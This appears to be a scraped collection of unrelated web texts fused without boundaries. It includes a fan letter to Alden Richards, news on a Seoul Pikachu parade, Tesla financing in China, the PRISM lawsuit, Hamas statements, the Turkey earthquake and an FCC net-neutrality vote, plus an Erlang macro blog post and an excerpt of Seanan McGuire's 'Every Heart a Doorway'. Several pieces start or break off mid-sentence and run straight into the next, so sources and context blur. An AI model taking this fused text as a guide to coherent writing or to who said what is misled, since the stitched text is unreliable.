On your 2nd monthsary episode, a few days before your “first date” with Maine, you got caught red-handed again, with those really catchy clichés you did with your fan signs. Oh man, was I proud! I could have screamed at the top of my voice: Alden, you rock! And with this was a fervent prayer: Don’t you dare mess this up, man. Take really good care of this very precious princess. You don’t know how lucky you are.
The 12.1M day came. You looked dazzling, she was exquisite! Everybody was rooting for the both of you to finally get some time to talk with each other, to laugh together, to at least touch each other’s hand. But all that transpired fell short of our modest expectations. Were we disappointed? Hell yes! But eventually, we understood the reasons. That’s just us, the all too faithful fandom. We endure.
You were disappointed too, I can tell. I’m judging, yes, but come on man, maglolokohan pa ba tayo? The segment ended with you writing, “So close yet so far”. And I could swear I heard an alarm clock ringing, screaming for me to wake up from this all too familiar dreamy act. Isn’t that a tad bit too shabby, Alden? That line has been abused too many times, for too long. It was a bit inadequate, to tell you the truth. What with all emotions running high all over the world. And all over twitter world! Hah!
Then you wrote this: “But it was really nice seeing you” And that, my man, swept me off my feet! Suddenly, those same words from Maine after you first met flashed back in front of my eyes! It’s simplicity is what made it stupefying. It was so sincere my eyes welled up in horripilation!
There it is, in all its glory, the final validation. Dude, she got you! Nicomaine Dei Capili Mendoza got you real good! ~ Vilo
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This weekend, a Pikachu parade was held in Seoul, South Korea. Too many people showed up.
The parade marked the first Korean to win the Pokemon World Championships. It was similar to the parade held this past summer in Japan—but minus the sea of humans. Don't get me wrong! The event in Japan drew crowds, but nothing like this.
The Pikachu Parade in South Korea started out okay enough.
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[Photo: n_adicc]
But...
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[Photo: all4yys_beast]
[Photo: chocola_26]
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[Photo: furymanura]
[Photo: Yonhap via Insight]
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[Photo: Segye]
[Photo: furymanura]
It got so crowded that safety concerns resulted in some of the parades being nixed. "The police were worried about the crowd and how it could have led to a possible stampede," an event organizer told The Korea Times. "So we decided to hold parades only at 2 p.m. and 4 p.m. time, and cancelled the 3 p.m. and 5 p.m. shows."
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[Photo: Segye]
韓国でピカチュウ大量発生イベントをやった結果 [2ch]
Pikachu parades canceled due to safety fears [The Korea Times]
Top photo: creaturess
To contact the author of this post, write to bashcraftATkotaku.com or find him on Twitter @Brian_Ashcraft.
AdvertisementWe’ve got a hodgepodge of STAR TREK BEYOND updates today, from promotion to premiere.
First up, there’s a few new BEYOND advertising videos making the rounds on social media, released by Paramount’s international distributors.
In addition, this week’s new Jaylah poster is already being used around the United States, seen here at a movie theater in Georgia.
* * *
It seems that Australia will have the unofficial world premiere on July 7, when three of the BEYOND cast – Chris Pine, Zachary Quinto, and Karl Urban – will make their way down under along side director Justin Lin for a red carpet event in Sydney.
* * *
The Enterprise car rental service has launched a contest to win several prizes, from a private screening of STAR TREK BEYOND to tickets for the San Diego premiere in July.
* * *
Michael Giacchino, resident Star Trek composer, talked to the Hollywood Bowl about his new angle for music in this summer’s adventure, and how the STAR TREK BEYOND soundtrack will differ from his two previous compositions.
* * *
Lastly, Malaysian coffee company Min Kaffe has launched a tie-in promotion to BEYOND, sending their consumers “Beyond Coffee” with their new offering.
This might just be the closest thing we get to an official Raktajino.Today, Tesla launches new ‘zero down payment’ and ‘zero interest rate’ financing programs in China as the company is trying to expand in this increasingly important market. Earlier this year, we reported on Tesla testing a similar program for a limited time with the China Merchants Bank, but now the new programs have been tweaked and will run for the rest of the year in partnership with Fosun, a Chinese financial service company.
The new program will apply to the Model S 90D, which buyers will be able to finance with no interest over a year or with 2 and 6 percent interest rates over 2 and 3 years respectively.
Another version of the program will enable buyers to finance the Model S 75 without any down payment.
While the custom financing programs are an improvement on Tesla’s available financing in China, the Model S remain an expensive vehicle in the country. The lowest monthly payment is ¥22,983 Chinese Yuan ($3,450 US) and the Model S 75 starts at ¥735,700 Chinese Yuan ($111,800 US)
Here are the terms of the offers:
Tesla Model S 75 Tesla Model S 90D
Tesla recently achieved its projected production rate of 2,000 cars per week and now that the company is not (or less) production constrained, it is looking to expand to new markets and increase its volume in existing markets.
The automaker recently launched the Model X in China, which should boost its deliveries in the country. The new financing program combined with the introduction of the new Model S with a refreshed fascia and the HEPA air filtration could also help raise sales in the country.
In the past, Tesla admitted to weakness in sales in the China which it attributed in part to misconceptions about charging. To remedy the situation, the company has installed now more than 340 Superchargers and 1,600 destination chargers across the mainland. The company also launched ‘Tesla Charging Partner Program’ in China to promote a national EV charging standard.statigr.am/gabriellehadar Tufts University — known for their quirky applications— has given high school seniors the chance to answer one of the great and lingering questions of their generation: "What does #YOLO mean to you?"
As The Hairpin reports, potential members of the Tufts Class of 2018 will have the ability to address Drake's cultural milestone head on as they view for a spot at the university. This year's application includes the optional question:
E) The ancient Romans started it when they coined the phrase "Carpe diem." Jonathan Larson proclaimed "No day but today!" and most recently, Drake explained You Only Live Once (YOLO). Have you ever seized the day? Lived like there was no tomorrow? Or perhaps you plan to shout YOLO while jumping into something in the future. What does #YOLO mean to you?
It's worth noting that Tufts admissions officers may have included the question because they're genuinely curious as to the meaning of the popular phrase. As the Boston Globe argues, Every now and then, a bit of slang comes along that draws a bright red line between young and old... If you are over 25, YOLO likely means nothing to you." The question could very well be a sneaky and potentially effective way to get into the know.
The Hairpin also points out these helpful instructions on the Tufts application:
Think outside the box as you answer the following questions. Take a risk and go somewhere unexpected. Be serious if the moment calls for it but feel comfortable being playful if that suits you, too. The suggested length for question 3 is 200-250 words.
No word yet on whether Tufts will be replacing its almost 150-year-old motto Pax et Lux with the new and improved Tu Tantum Vivere Semel.Pickup truck crashes into garage in Chicopee Copyright by WWLP - All rights reserved Report-It Photo [ + - ] Video
David Blewett - CHICOPEE, Mass. (WWLP) - A driver crashed their pickup truck into a garage in Chicopee early Saturday morning.
A viewer-submitted video shows the truck being pulled out of the house's garage.
Around 12:20am, Chicopee Police were dispatched to the corner of Baystate Rd. and York St. in response to a call about a vehicle that crashed into a garage. When police arrived, they found that a pickup had crashed into a garage at 805 McKinstry Ave.
According to the police department's Facebook page, officers had to pry the truck's door open for the driver to safely exit. The driver was uninjured.
The driver was cited for failing to stop at a stop sign, as well as failure to use care when stopping.
The building inspector was called out to assess the damage to the garage. Nobody was in the garage at the time of the crash.Seanan McGuire’s Every Heart a Doorway—available April 5th from Tor.com Publishing—introduces readers to Eleanor West’s Home for Wayward Children…
Children have always disappeared under the right conditions; slipping through the shadows under a bed or at the back of a wardrobe, tumbling down rabbit holes and into old wells, and emerging somewhere… else. But magical lands have little need for used-up miracle children.
Nancy tumbled once, but now she’s back. The things she’s experienced… they change a person. The children under Miss West’s care understand all too well. And each of them is seeking a way back to their own fantasy world. But Nancy’s arrival marks a change at the Home. There’s a darkness just around each corner, and when tragedy strikes, it’s up to Nancy and her new-found schoolmates to get to the heart of things.
No matter the cost.
Part I
The Golden Afternoons
There Was a Little Girl
The girls were never present for the entrance interviews. Only their parents, their guardians, their confused siblings, who wanted so much to help them but didn’t know how. It would have been too hard on the prospective students to sit there and listen as the people they loved most in all the world—all this world, at least—dismissed their memories as delusions, their experiences as fantasy, their lives as some intractable illness.
What’s more, it would have damaged their ability to trust the school if their first experience of Eleanor had been seeing her dressed in respectable grays and lilacs, with her hair styled just so, like the kind of stolid elderly aunt who only really existed in children’s stories. The real Eleanor was nothing like that. Hearing the things she said would have only made it worse, as she sat there and explained, so earnestly, so sincerely, that her school would help to cure the things that had gone wrong in the minds of all those little lost lambs. She could take the broken children and make them whole again.
She was lying, of course, but there was no way for her potential students to know that. So she demanded that she meet with their legal guardians in private, and she sold her bill of goods with the focus and skill of a born con artist. If those guardians had ever come together to compare notes, they would have found that her script was well-practiced and honed like the weapon that it was.
“This is a rare but not unique disorder that manifests in young girls as stepping across the border into womanhood,” she would say, making careful eye contact with the desperate, overwhelmed guardians of her latest wandering girl. On the rare occasion when she had to speak to the parents of a boy, she would vary her speech, but only as much as the situation demanded. She had been working on this routine for a long time, and she knew how to play upon the fears and desires of adults. They wanted what was best for their charges, as did she. It was simply that they had very different ideas of what “best” meant.
To the parents, she said, “This is a delusion, and some time away may help to cure it.”
To the aunts and uncles, she said, “This is not your fault, and I can be the solution.”
To the grandparents, she said, “Let me help. Please, let me help you.”
Not every family agreed on boarding school as the best solution. About one out of every three potential students slipped through her fingers, and she mourned for them, those whose lives would be so much harder than they needed to be, when they could have been saved. But she rejoiced for those who were given to her care. At least while they were with her, they would be with someone who understood. Even if they would never have the opportunity to go back home, they would have someone who understood, and the company of their peers, which was a treasure beyond reckoning.
Eleanor West spent her days giving them what she had never had, and hoped that someday, it would be enough to pay her passage back to the place where she belonged.
Coming Home, Leaving Home
The habit of narration, of crafting something miraculous out of the commonplace, was hard to break. Narration came naturally after a time spent in the company of talking scarecrows or disappearing cats; it was, in its own way, a method of keeping oneself grounded, connected to the thin thread of continuity that ran through all lives, no matter how strange they might become. Narrate the impossible things, turn them into a story, and they could be controlled. So:
The manor sat in the center of what would have been considered a field, had it not been used to frame a private home. The grass was perfectly green, the trees clustered around the structure perfectly pruned, and the garden grew in a profusion of colors that normally existed together only in a rainbow, or in a child’s toy box. The thin black ribbon of the driveway curved from the distant gate to form a loop in front of the manor itself, feeding elegantly into a slightly wider waiting area at the base of the porch. A single car pulled up, tawdry yellow and seeming somehow shabby against the carefully curated scene. The rear passenger door slammed, and the car pulled away again, leaving a teenage girl behind.
She was tall and willowy and couldn’t have been more than seventeen; there was still something of the unformed around her eyes and mouth, leaving her a work in progress, meant to be finished by time. She wore black—black jeans, black ankle boots with tiny black buttons marching like soldiers from toe to calf—and she wore white—a loose tank top, the faux pearl bands around her wrists—and she had a ribbon the color of pomegranate seeds tied around the base of her ponytail. Her hair was bone-white streaked with runnels of black, like oil spilled on a marble floor, and her eyes were pale as ice. She squinted in the daylight. From the look of her, it had been quite some time since she had seen the sun. Her small wheeled suitcase was bright pink, covered with cartoon daisies. She had not, in all likelihood, purchased it herself.
Raising her hand to shield her eyes, the girl looked toward the manor, pausing when she saw the sign that hung from the porch eaves. ELEANOR WEST’S HOME FOR WAYWARD CHILDREN it read, in large letters. Below, in smaller letters, it continued no solicitation, no visitors, no quests.
The girl blinked. The girl lowered her hand. And slowly, the girl made her way toward the steps.
On the third floor of the manor, Eleanor West let go of the curtain and turned toward the door while the fabric was still fluttering back into its original position. She appeared to be a well-preserved woman in her late sixties, although her true age was closer to a hundred: travel through the lands she had once frequented had a tendency to scramble the internal clock, making it difficult for time to get a proper grip upon the body. Some days she was grateful for her longevity, which had allowed her to help so many more children than she would ever have lived to see if she hadn’t opened the doors she had, if she had never chosen to stray from her proper path. Other days, she wondered whether this world would ever discover that she existed—that she was little Ely West the Wayward Girl, somehow alive after all these years—and what would happen to her when that happened.
Still, for the time being, her back was strong and her eyes were as clear as they had been on the day when, as a girl of seven, she had seen the opening between the roots of a tree on her father’s estate. If her hair was white now, and her skin was soft with wrinkles and memories, well, that was no matter at all. There was still something unfinished around her eyes; she wasn’t done yet. She was a story, not an epilogue. And if she chose to narrate her own life one word at a time as she descended the stairs to meet her newest arrival, that wasn’t hurting anyone. Narration was a hard habit to break, after all.
Sometimes it was all a body had.
* * *
Nancy stood frozen in the center of the foyer, her hand locked on the handle of her suitcase as she looked around, trying to find her bearings. She wasn’t sure what she’d been expecting from the “special school” her parents were sending her to, but it certainly hadn’t been this… this elegant country home. The walls were papered in an old-fashioned floral print of roses and twining clematis vines, and the furnishings—such as they were in this intentionally under-furnished entryway—were all antiques, good, well-polished wood with brass fittings that matched the curving sweep of the banister. The floor was cherrywood, and when she glanced upward, trying to move her eyes without lifting her chin, she found herself looking at an elaborate chandelier shaped like a blooming flower.
“That was made by one of our alumni, actually,” said a voice. Nancy wrenched her gaze from the chandelier and turned it toward the stairs.
The woman who was descending was thin, as elderly women sometimes were, but her back was straight, and the hand resting on the banister seemed to be using it only as a guide, not as any form of support. Her hair was as white as Nancy’s own, without the streaks of defiant black, and styled in a puffbull of a perm, like a dandelion that had gone to seed. She would have looked perfectly respectable, if not for her electric orange trousers, paired with a hand-knit sweater knit of rainbow wool and a necklace of semiprecious stones in a dozen colors, all of them clashing. Nancy felt her eyes widen despite her best efforts, and hated herself for it. She was losing hold of her stillness one day at a time. Soon, she would be as jittery and unstable as any of the living, and then she would never find her way back home.
“It’s virtually all glass, of course, except for the bits that aren’t,” continued the woman, seemingly untroubled by Nancy’s blatant staring. “I’m not at all sure how you make that sort of thing. Probably by melting sand, I assume. I contributed those large teardrop-shaped prisms at the center, however. All twelve of them were of my making. I’m rather proud of that.” The woman paused, apparently expecting Nancy to say something.
Nancy swallowed. Her throat was so dry these days, and nothing seemed to chase the dust away. “If you don’t know how to make glass, how did you make the prisms?” she asked.
The woman smiled. “Out of my tears, of course. Always assume the simplest answer is the true one, here, because most of the time, it will be. I’m Eleanor West. Welcome to my home. You must be Nancy.”
“Yes,” Nancy said slowly. “How did you…?”
“Well, you’re the only student we were expecting to receive today. There aren’t as many of you as there once were. Either the doors are getting rarer, or you’re all getting better about not coming back. Now, be quiet a moment, and let me look at you.” Eleanor descended the last three steps and stopped in front of Nancy, studying her intently for a moment before she walked a slow circle around her. “Hmm. Tall, thin, and very pale. You must have been someplace with no sun—but no vampires either, I think, given the skin on your neck. Jack and Jill will be awfully pleased to meet you. They get tired of all the sunlight and sweetness people bring through here.”
“Vampires?” said Nancy blankly. “Those aren’t real.”
“None of this is real, my dear. Not this house, not this conversation, not those shoes you’re wearing—which are several years out of style if you’re trying to reacclimatize yourself to the ways of your peers, and are not proper mourning shoes if you’re trying to hold fast to your recent past—and not either one of us. ‘Real’ is a four-letter word, and I’ll thank you to use it as little as possible while you live under my roof.” Eleanor stopped in front of Nancy again. “It’s the hair that betrays you. Were you in an Underworld or a Netherworld? You can’t have been in an Afterlife. No one comes back from those.”
Nancy gaped at her, mouth moving silently as she tried to find her voice. The old woman said those things—those cruelly impossible things—so casually, like she was asking after nothing more important than Nancy’s vaccination records.
Eleanor’s expression transformed, turning soft and apologetic. “Oh, I see I’ve upset you. I’m afraid I have a tendency to do that. I went to a Nonsense world, you see, six times before I turned sixteen, and while I eventually had to stop crossing over, I never quite learned to rein my tongue back in. You must be tired from your journey, and curious about what’s to happen here. Is that so? I can show you to your room as soon as I know where you fall on the compass. I’m afraid that really does matter for things like housing; you can’t put a Nonsense traveler in with someone who went walking through Logic, not unless you feel like explaining a remarkable amount of violence to the local police. They do check up on us here, even if we can usually get them to look the other way. It’s all part of our remaining accredited as a school, although I suppose we’re more of a |
left the Nou Camp to join City as chief executive.
The relationships between manager and boardroom do not appear to have progressed the way City wanted, as they stated the "need to develop a holistic approach to all aspects of football at the club" in the statement explaining Mancini's sacking.
Former City defender Danny Mills believes Mancini's man-management did not help his cause.
"There wasn't the togetherness between player and manager," Mills told BBC Radio 5 live.
"Basically, Mancini just ignored players from day one. He was the manager, he made decisions, he made no attempt to have any sort of relationship with the players, didn't take them under his wing."
Mancini, who signed a new five-year deal last July, will receive compensation following his dismissal but it will be for much less than the four years left on his contract.
"We've seen it year after year. That's the way football is today - managers get sacked. I don't feel sorry for Mancini, no," said former City striker Rodney Marsh, who scored 36 goals in 118 appearances for the club between 1972 and 1975.
What do City mean by holistic? Dictionary definition: 'Holistic' means thinking about the whole of something and not just certain parts. In their statement, it is understood City are referring to all aspects of the club - for example, the youth system and first team - pulling in the same direction.
Brian Horton, who managed City from 1993 to 1995, believes City's next manager will be under pressure to deliver trophies.
Horton said: "He is going to have to win something isn't he? Paying the wages that they pay at these top clubs, you have to be winning, not second. Second is not good enough."
England Under-21 coach Stuart Pearce, who was City's boss between 2005 and 2007, is concerned that clubs are too quick to dismiss managers.
"Even the unsuccessful managers need to be given time, let alone the successful ones like Mancini," Pearce said. "We're too ready, maybe, to write off individuals.
"Roberto won't have a problem walking into another job, so maybe he's not a real great case for me to talk about.
"I know there are a lot of fantastic English coaches, and we're looking for them to develop. Don't laud them too much too soon. On the other side of the coin, they need time for that development, because they're still learning the game."Not so long ago, John Hughes presented a module called Aaargh!! to the erlang-questions mailing list. He showed how parse transforms, macros and the Erlang compiler all worked together to mess up with us a bit. I’ll just present that very same story here. If you have read it already, you can safely skip the rest of the article.
The Weird Module
This is basically the module that John sent to the mailing list (I changed its name just so it’s easier to avoid the apostrophes)…
-module(weird).
-define(PLEASE_DONT).
-ifdnef(PLEASE_DONT).
-compile({parse_transform, undefined_parse_transform}).
-endif.
The idea is that we first define the PLEASE_DONT macro in a line that we can later comment out if needed (or rather remove and define the macro at compile time).
Then, if the macro is not defined, we run the code through a parse transformation called undefined_parse_transform. The key point here is that this parse transformation module doesn’t exist, so this line should not compile.
But the macro is defined, so the parse transform should not be used, right?
$ erlc weird.erl
src/weird.erl: undefined parse transform 'undefined_parse_transform'
And My Macro?
Turns out that macro is not defined. As Alex points out in the mailing list…
there’s no one-argument define()
As you can see in the docs:
A macro is defined as follows:
-define(Const, Replacement).
-define(Func(Var1,...,VarN), Replacement).
If we change the define line in our code…
-module(weird).
-define(PLEASE_DONT, true).
-ifndef(PLEASE_DONT).
-compile({parse_transform, undefined_parse_transform}).
-endif.
…it compiles perfectly:
$ erlc weird.erl
$ ls weird.beam
weird.beam
Why didn’t you tell me so?
That’s it, right? Well… not so easy. If there is no one-argument define(), then why did the compiler/parser not warned us about it. Check this out:
-module(weird).
-define(PLEASE_DONT).
If we try to compile that module…
$ erlc weird.erl
src/weird.erl:3: badly formed 'define'Former US prosecutor Larry Klayman and the parents of the killed Navy Seal Team VI member Michael Strange have filed a lawsuit against President Obama, the NSA and several other players connected to the PRISM scandal. Through the class action lawsuit they demand compensation for severe privacy abuses as well as violations of several other constitutional rights.
Over the past days the PRISM scandal has dominated the news. The Guardian’s Glenn Greenwald pushed out leak after leak, revealing how millions of people around the world are being monitored by U.S. intelligence agencies.
The revelations turned online privacy into a worldwide mainstream discussion. Privacy activists shouted “we told you so,” Orwell quotes were rife, Kim Dotcom warmed up the public for his PRISM-proof email serviceand these was even some discussion over the stolen PRISM logo
Following the leaks the NSA and the US Government have been heavily criticized for their disregard of people’s privacy, and perhaps not totally unexpectedly this weekend the first legal action was filed.
TorrentFreak just obtained a copy of a complaint submitted at a federal court in Columbia, targeting President Obama, the NSA, Eric Holder and Verizon who all played a role in the mass surveillance scheme.
The class action lawsuit was filed by Larry Klayman, a former US prosecutor under the Reagan administration, together with the parents of the killed Navy SEAL Team VI member Michael Strange.
The plaintiffs accuse the PRISM participants of violating their constitutional rights, reasonable expectation of privacy, free speech and association, right to be free of unreasonable searches and seizures, among other illegal and criminal acts. Both Klayman and the Navy Seal parents demand compensation for the damage they suffered.
“This case challenges the legality of Defendants’ participation and conduct in a secret and illegal government scheme to intercept and analyze vast quantities of domestic telephonic communications,” the complaint reads.
While there are plenty of angles to pick, the class action centers around the classified order from the secretive Foreign Intelligence Surveillance Court ordering Verizon to hand over all call details and metadata between the United States and abroad, without any oversight.
“This would give the NSA over one hundred millions phone records on a daily basis. The information would also include a list of all the people that Verizon customers call and who called them; how long they spoke; and perhaps, where they were on a given day.”
“Further, there is nothing in the order requiring the government to destroy the records after a certain amount of time nor is there any provisions limiting who can see and hear the data,” the complaint states.
The complaint goes on to state that those responsible for the PRISM scandal have done very little to explain what it entails. Instead, there are now calls to go after the whistleblower, Edward Snowden, to stop further leaks.
“To date, Defendants have not issued substantive and meaningful explanations to the American people describing what has occurred. To the contrary, criminal charges are reportedly being pursued by Defendants Obama, Holder, the DOJ, and the NSA against the leakers of this plot against American citizens in a further effort suppress, obstruct justice, and to keep Defendants’ illegal actions as secret as possible.”
Former US prosecutor Larry Klayman is a known critic of the Obama administration and believes that his private communications were tapped under the PRISM program. Charles and Mary Ann Strange, the parents of the killed Navy Seal Team VI member Michael Strange, allege the same as they have also challenged the Obama administration.
“[…] particularly since these Plaintiffs have been vocal about their criticism of President Obama as commander-in-chief, his administration, and the U.S. military regarding the circumstances surrounding the shoot down of their son’s helicopter in Afghanistan, which resulted in the death of their son and other Navy Seal Team VI members and special operation forces.”
The complaint demands relief for violations of the defendants’ rights under the First, Fourth, and Fifth Amendments to the U.S. Constitution. In addition it lists violations of privacy, including intrusion upon seclusion, freedom of expression and association, due process, and other illegal acts.
Thus far, authorities and the technology companies involved in the surveillance scandal have refuted most accusations, claiming that they are operating within the boundaries of the law. Time will tell whether the present lawsuit will arrive at another conclusion.The Hamas leader in the Gaza Strip on Thursday dismissed US and Israeli demands that it lay down its arms and recognize the Jewish state, saying the terror organization is instead debating “when to wipe out Israel.”
The remarks came during a closed roundtable discussion between Yahya Sinwar and Gazan youth about the ongoing reconciliation negotiations with rival Palestinian faction Fatah, to which some media outlets were invited to attend.
“Over is the time Hamas spent discussing recognizing Israel. Now Hamas will discuss when we will wipe out Israel,” Sinwar said, according to the Hamas-linked news agency Shehab.
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A Hamas spokesperson released a few official quotes from the meeting. The Sinwar comment about discussing “when we will wipe out Israel” was not included in the transcript, which featured the Hamas leader again rejecting disarmament and Israel recognition.
“No one in the universe can disarm us. On the contrary, we will continue to have the power to protect our citizens,” Sinwar said, according to the official statement. “No one has the ability to extract from us recognition of the occupation.”
Since its inception nearly three decades ago, Hamas has sought to destroy the State of Israel.
Sinwar’s comments on Thursday came as much of the international community was scrutinizing the terror organization as it attempts to join the internationally recognized government of the Palestinian Authority, which is controlled by PA President Mahmoud Abbas’s party, Fatah.
On Thursday the United States called for Hamas to disarm and renounce violence before being allowed to implement the highly touted unity deal with Fatah.
“Any Palestinian government must unambiguously and explicitly commit to nonviolence, recognize the State of Israel, accept previous agreements and obligations between the parties – including to disarm terrorists – and commit to peaceful negotiations,” said White House Mideast peace envoy Jason Greenblatt in a statement released by the US Embassy in Tel Aviv.
“If Hamas is to play any role in a Palestinian government, it must accept these basic requirements,” Greenblatt said, in comments later commended by Prime Minister Benjamin Netanyahu.
One issue that threatens to derail the reconciliation process is the question of what will be the future of Hamas’s 25,000-strong military and its weapons arsenal. Abbas said he wants full control of all guns in Gaza.
On Thursday, Sinwar doubled down on Hamas’s stance that it will not relinquish its armed forces.
“Disarming us is like Satan dreaming of heaven. No one can take away our weapons,” he said.
He also reportedly admitted that the talks could collapse. “There is a danger to the reconciliation project,” Sinwar was quoted as saying, though he did not elaborate.
Last week, the two rival Palestinian factions signed an agreement in Cairo to allow the PA to take full control of the Gaza, which it was kicked out of 10 years ago by Hamas in a violent conflict.
Speaking immediately after signing the deal, Saleh al-Arouri, the Hamas deputy political leader, said Palestinian unity was vital “so that we can all work together against the Zionist enterprise.”
Sinwar on Thursday reiterated his group’s desire for the reconciliation process to be successful, and personally invited Abbas to hold the next meeting of his party’s central committee and of the Palestine Liberation Organization (PLO), the largest Palestinian political umbrella group, in Gaza.
“I call for the Fatah Central Committee and the Palestine Liberation Organization to hold its next meeting in Gaza, headed by [Abbas],” Sinwar said, according to a Hamas spokesperson.
During his talk, Sinwar also touched upon prisoner negotiations between Hamas and Israel.
In his statement, Sinwar reportedly said “we are ready for a second Shalit deal,” a reference to the 2011 prisoner exchange for abducted IDF soldier Gilad Shalit that was his own ticket out of Israeli prison. In the new deal, he claimed, Fatah leader and convicted murderer Marwan Barghouti, as well as others, would go free.
Hamas is said to be holding captive three Israelis — Avraham Abera Mengistu, Hisham al-Sayed and Juma Ibrahim Abu Ghanima — all said to have entered the Gaza Strip of their own accord. Hamas is also holding the bodies of Oron Shaul and Hadar Goldin, two IDF soldiers who were killed in the Strip during the 2014 Gaza war.
Last month it was reported that Hamas had accepted an Egyptian proposal for a prisoner swap with Israel whereby the bodies of 39 Palestinians killed in the 2014 Gaza war, 19 of whom are Hamas members, would be handed over to the group in exchange for Hamas acknowledging the fate of IDF soldiers Hadar Goldin and Oron Shaul. The IDF says the two were killed in the Gaza Strip during the 2014 war. Hamas has hinted that it is holding the two soldiers and has also implied that they could still be alive.
In the second stage of the Egyptian plan, Israel would reportedly release the so-called “Shalit captives” — 58 Palestinians who were rearrested in the summer of 2014 after being set free in the 2011 swap for IDF soldier Gilad Shalit.Media playback is unsupported on your device Media caption Rescuers pull the teenager from the collapsed building
A 13-year-old boy has been pulled alive from the rubble in south-eastern Turkey, 108 hours after an earthquake devastated his town.
The injured boy was rescued from a collapsed building in Ercis.
Just hours earlier a man was freed from a flattened apartment block and taken to hospital.
The Turkish authorities now say 570 people are known to have died in Sunday's 7.2-magnitude quake - more than 2,500 were injured.
My feelings are inexplicable - it was like taking my own son out. Baris Dogan, Rescue worker
So far 187 people have been rescued but hundreds are still missing and hopes are fading of finding more survivors.
Rain and snow have been hindering the rescue and relief effort.
The rescued boy, named Ferhat Tokay, was found alive late on Thursday and pulled out by search teams early on Friday morning.
"We started digging and at first we saw his hand - then we started speaking to him," Baris Dogan, a member of the rescue team told Reuters news agency.
"My feelings are inexplicable - it was like taking my own son out," he said.
Ozgur Yildiz, a friend of the boy told Reuters: "We didn't believe he would die - he is a strong child. I feel so good right now and I'd like to say to him get well soon."
Image caption Thousands of people are living outdoors in bitter winter conditions
Rescue workers say Ferhat Tokay was taken to hospital but appears to be in good health.
Search teams continued to dig through the rubble of the building after the 13-year-old was rescued, searching for several other people from the same block who are thought to be missing.
However, work has stopped at some other sites as the chances of finding anyone alive diminish.
Waiting
Pouring rain and in some places snow have brought further misery to the tens of thousands of people made homeless by the earthquake.
Although the authorities are working to address a big shortage of tents, many people spent a fifth night outdoors.
Large numbers of men are reported to have spent the night wondering the streets of Ercis, the worst hit town, with nowhere else to go, having settled their families in whatever shelter was available.
In the provincial capital, Van, the damp conditions are also making it difficult for people to cope.
Image caption Many survivors have spent a fifth night outdoors trying to avoid getting too cold
Nimet, a mother of three, told Reuters she was tempted to return to her damaged home.
"It looks fine from the outside, but inside it looks very unstable with all the cracks in the walls. What other choice do we have but to go back to our houses?" she said
"Last night it rained and all our belongings are still wet. I don't know how many more days we can stay in a tent like this."
Aid supplies have been sent from several countries.
On Thursday planes loaded with tents arrived in Turkey from France, Ukraine and Israel.Image copyright AFP Image caption Michael Adebolajo lost two front teeth while he was held in Belmarsh Prison
One of the men who murdered Fusilier Lee Rigby is seeking compensation after he lost two front teeth when he was restrained by prison officers.
Michael Adebolajo claimed five prison officers assaulted him at London's high-security Belmarsh prison two years ago, but they were cleared of blame.
The Ministry of Justice (MoJ) said it would "robustly defend" the claim.
Adebolajo and Michael Adebowale are serving life for killing Fusilier Rigby near a London barracks in May 2013.
The Sun newspaper, which first reported the story, said the size of the compensation claim against the Prison Service was not known.
The Prisoners' Advice Service said it would be difficult to estimate a figure for compensation as the majority of cases were dismissed or settled out of court.
Judicial guidelines suggest awards for the loss of two front teeth are between £3,000 and £5,500 but figures can increase depending on the extent of the injury and treatment needed.
'Outraged'
Adebolajo, 32, lost his teeth while he was being held at Belmarsh on remand after the killing near Woolwich barracks, and claimed he had been assaulted by the prison officers.
The officers were suspended from work, but were later told they had no case to answer.
The Prison Officers' Association insisted only approved techniques had been used in restraining Adebalajo.
An MoJ spokesman said there had been a police investigation into the incident and no charges had been brought against members of staff.
"The public will be rightly outraged at the thought of this man receiving compensation from the taxpayer and we robustly defend claims made against the Prison Service," he said.
The MoJ said it had successfully defended two-thirds of prisoner claims over the last three years.
Prisoners only have limited access to any money they might claim while they are in prison. Limits are set depending on behaviour and money can only be spent in the prison shop.
Image caption Father-of-one Lee Rigby served with Second Battalion, the Royal Regiment of Fusiliers
At Adebolajo's trial, the court heard he and Adebowale hit Fusilier Rigby, a 25-year-old father of one, with a car, before dragging him into the road and attempting to decapitate him with a meat cleaver.
Mobile phone footage showed Adebolajo with bloodied hands clutching a knife and a meat cleaver moments after the attack.
Adebolajo had claimed he was a "soldier of Allah" and the killing was an act of war.
He was sentenced to a whole-life jail term for the murder, while Adebowale was sentenced to life with a minimum 45 years.• Southampton striker injured during defeat at Manchester City • 'The players are upset, they can see how severe the injury is'
Roy Hodgson saw his first World Cup injury setback when Southampton's Jay Rodriguez departed on a stretcher with what looked like serious knee ligament damage at Manchester City.
"We do not know the extent of the problem yet because we have not completed an assessment, but it is not looking good," Mauricio Pochettino said. "All the players are really upset, they can see how severe the injury is."
Capped only once by Hodgson, but making a strong claim for a place in the England World Cup squad along with his team-mates Adam Lallana, Rickie Lambert and Luke Shaw, Rodriguez collapsed in pain midway through the first half when he landed awkwardly after leaping to control a high ball near the halfway line. With no opponent in immediate proximity his left ankle appeared to give way on landing which meant he fell on his right leg, and stayed down clutching his knee.
It hardly improved Southampton's afternoon when City took advantage of the four extra minutes added to the first half for the treatment the 24-year-old former Burnley player received on the pitch to score two goals and make the game safe, particularly as the first of them involved a blatant offside that Chris Foy and his officials failed to spot.
"We were the victims of two dumb refereeing decisions," Pochettino said, through his Spanish interpreter. "The penalty after two minutes and the failure to spot the offside for the second goal killed the game." Southampton did extremely well to haul themselves back into the game and level the scores after needlessly presenting City with the gift of an early penalty, though when Rodriguez's injury was followed by an unfortunate refereeing error they were unable to summon the same conviction in the second half.
"For 45 minutes we were superior to a team that could go on to win the Premier League," Pochettino said, "but we were unlucky with the injury and the bad refereeing calls. Both those factors affected the players."The Federal Communications Commission's chairman, Ajit Pai. Chip Somodevilla/Getty Images The Federal Communication Commission on Thursday voted to initiate the process of undoing the net-neutrality rules put in place during the Obama administration.
The vote fell 2-1 along party lines, with Republicans Ajit Pai, the chairman, and Michael O'Rielly voting in favor of Pai's proposal to reverse the rules. Democrat Mignon Clyburn voted against.
The vote does not mean the existing net-neutrality rules are dead. Instead, the FCC will now seek further public comment before finalizing an order that would undo the rules in earnest. That order will require another vote, most likely later this year.
Even if the commission passes that order, that wouldn't necessarily end the matter. The new rules will almost certainly be challenged in court by proponents of the Obama-era rules.
That could be an extended process. It took about 10 months for the current net-neutrality rules to go from proposal to official policy, then another 15 months to be upheld in court.
But the vote Thursday has fired the starting gun.
The context
Today's net-neutrality rules classify internet service providers like Comcast and Verizon as utility-like "common carriers" under Title II of the Communications Act. That classification gave the FCC broad authority to dictate what ISPs could do within their networks.
